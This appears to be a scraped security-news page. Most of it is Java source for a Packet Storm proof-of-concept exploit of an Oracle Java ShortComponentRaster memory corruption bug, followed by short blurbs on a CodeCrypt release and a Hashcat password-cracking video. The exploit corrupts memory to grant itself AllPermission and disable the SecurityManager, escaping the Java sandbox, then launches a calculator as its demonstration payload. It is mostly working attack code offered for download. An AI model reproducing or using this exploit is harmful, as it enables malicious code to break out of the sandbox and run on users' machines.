.addContainerGap() .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 344, Short.MAX_VALUE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addComponent(btnStart) .addContainerGap()) ); }// </editor-fold>//GEN-END:initComponents private boolean _isMac = System.getProperty("os.name","").contains("Mac"); private boolean _is64 = System.getProperty("os.arch","").contains("64"); // we will need IndexColorModel with the obedient isCompatibleRaster() which always returns true. class MyColorModel extends DirectColorModel { public MyColorModel() { super(16, 63488, 2016, 31); } // override isCompatibleRaster public boolean isCompatibleRaster(Raster r) { boolean res = true; logAdd("MyColorModel.isCompatibleRaster() = " + res); return res; } } // we will need SinglePixelPackedSampleModel which returns 0 from getNumDataElements() class MySampleModel extends SinglePixelPackedSampleModel { public MySampleModel(int dataType, int w, int h, int scanlineStride, int[] bitMasks) { super(dataType, w, h, scanlineStride, bitMasks); } // override getNumComponents public int getNumDataElements() { int res = 0; logAdd("MySampleModel.getNumDataElements() = " + res); return res; } } private int tryExpl() { try { // alloc aux vars String name = "setSecurityManager"; Object[] o1 = new Object[1]; Object o2 = new Statement(System.class, name, o1); // make a dummy call for init // allocate buffer for destination Raster, // "offsets[0]" parameter points outside the real storage, // "size" parameter is negative for bypassing "size+offsets[0] > dataArray[0].length" DataBufferUShort dst = new DataBufferUShort(new short[1][4], -100, new int[]{34 + (_is64 ? 12:0)}); // allocate the target array right after dst[] int[] a = new int[16]; // allocate an object array right after a[] Object[] oo = new Object[7]; // create Statement with the restricted AccessControlContext oo[2] = new Statement(System.class, name, o1); // create powerful AccessControlContext Permissions ps = new Permissions(); ps.add(new AllPermission()); oo[3] = new AccessControlContext( new ProtectionDomain[]{ new ProtectionDomain( new CodeSource( new java.net.URL("file:///"), new java.security.cert.Certificate[0] ), ps ) } ); // store System.class pointer in oo[] oo[4] = ((Statement)oo[2]).getTarget(); // save old a.length int oldLen = a.length; logAdd("a.length = 0x" + toHex(oldLen)); // prepare source buffer DataBufferUShort src = new DataBufferUShort(4); for(int i=0; i<2; i++) src.setElem(i,-1); // create normal source raster SinglePixelPackedSampleModel sm1 = new SinglePixelPackedSampleModel(DataBuffer.TYPE_USHORT, 2,1,2, new int[]{2,1,0}); WritableRaster wr1 = Raster.createWritableRaster(sm1, src, null); // create custom SinglePixelPackedSampleModel with malicious getNumDataElements() MySampleModel sm2 = new MySampleModel(DataBuffer.TYPE_USHORT, 2,1,2, new int[]{2,1,0}); // create destination ShortComponentRaster basing on malformed dst and sm2 WritableRaster wr2 = Raster.createWritableRaster(sm2, dst, null); logAdd(wr2); // create custom ColorModel MyColorModel cm = new MyColorModel(); // create sun.java2d.SunCompositeContext java.awt.CompositeContext cc = java.awt.AlphaComposite.Src.createContext(cm, cm, null); // call native Java_sun_awt_image_BufImgSurfaceData_initRaster() (see ...\jdk\src\share\native\sun\awt\image\BufImgSurfaceData.c) // and native Java_sun_java2d_loops_Blit_Blit() (see ...\jdk\src\share\native\sun\java2d\loops\Blit.c) cc.compose(wr1, wr2, wr2); // check results: a.length should be overwritten by 0xFFFFFFFF int len = a.length; logAdd("a.length = 0x" + toHex(len)); if (len == oldLen) { // check a[] content corruption // for RnD for(int i=0; i < len; i++) if (a != 0) logAdd("a["+i+"] = 0x" + toHex(a)); // exit logAdd("error 1"); return 1; } // ok, now we can read/write outside the real a[] storage, // lets find our Statement object and replace its private "acc" field value // search for oo[] after a[oldLen] boolean found = false; int ooLen = oo.length; for(int i=oldLen+2; i < oldLen+32; i++) if (a[i-1]==ooLen && a==0 && a[i+1]==0 // oo[0]==null && oo[1]==null && a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null && a[i+5]==0 && a[i+6]==0) // oo[5,6] == null { // read pointer from oo[4] int stmTrg = a[i+4]; // search for the Statement.target field behind oo[] for(int j=i+7; j < i+7+64; j++){ if (a[j] == stmTrg) { // overwrite default Statement.acc by oo[3] ("AllPermission") a[j-1] = a[i+3]; found = true; break; } } if (found) break; } // check results if (!found) { // print the memory dump on error // for RnD String s = "a["+oldLen+"...] = "; for(int i=oldLen; i < oldLen+32; i++) s += toHex(a) + ","; logAdd(s); } else try { // show current SecurityManager logAdd(System.getSecurityManager(), "Security Manager = "); // call System.setSecurityManager(null) ((Statement)oo[2]).execute(); // show results: SecurityManager should be null logAdd(System.getSecurityManager(), "Security Manager = "); } catch (Exception ex) { logError(ex); } logAdd(System.getSecurityManager() == null ? "Ok.":"Fail."); } catch (Exception ex) { logError(ex); } return 0; } private void btnStartMousePressed(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_btnStartMousePressed try { logAdd("===== Start ====="); // try several attempts to exploit for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){ logAdd("Attempt #" + i); tryExpl(); } // check results if (System.getSecurityManager() == null) { // execute payload Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe"); } logAdd("===== End ====="); } catch (Exception ex) { logError(ex); } }//GEN-LAST:event_btnStartMousePressed // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JButton btnStart; private javax.swing.JScrollPane jScrollPane2; private javax.swing.JTextArea txtArea; // End of variables declaration//GEN-END:variables } Download: http://packetstormsecurity.com/files/download/123263/PSA-2013-0917-1-exploit.tgz Sursa: Packet Storm Exploit 2013-0917-1 - Oracle Java ShortComponentRaster.verify() Memory Corruption ? Packet Storm

CodeCrypt 1.3 codecrypt is a GnuPG-like program for encryption and signing that uses only quantum-computer-resistant algorithms. Changes: This release fixes too aggressive locking of keyring that caused deadlocks on piping. It fixes many warnings and code inconsistencies. It prevents possible problems with forged sencode. Download: http://packetstormsecurity.com/files/download/123251/codecrypt-1.3.tar.gz Sursa: CodeCrypt 1.3 ? Packet Storm

Hashcat Cracking Password Hashes Description: In this video you will learn how to crack passwords hashes using Hashcat and Hash-Identifier tool. This is a complete demo and explaining each and every steps to crack your hashes. Sursa: Hashcat Cracking Password Hashes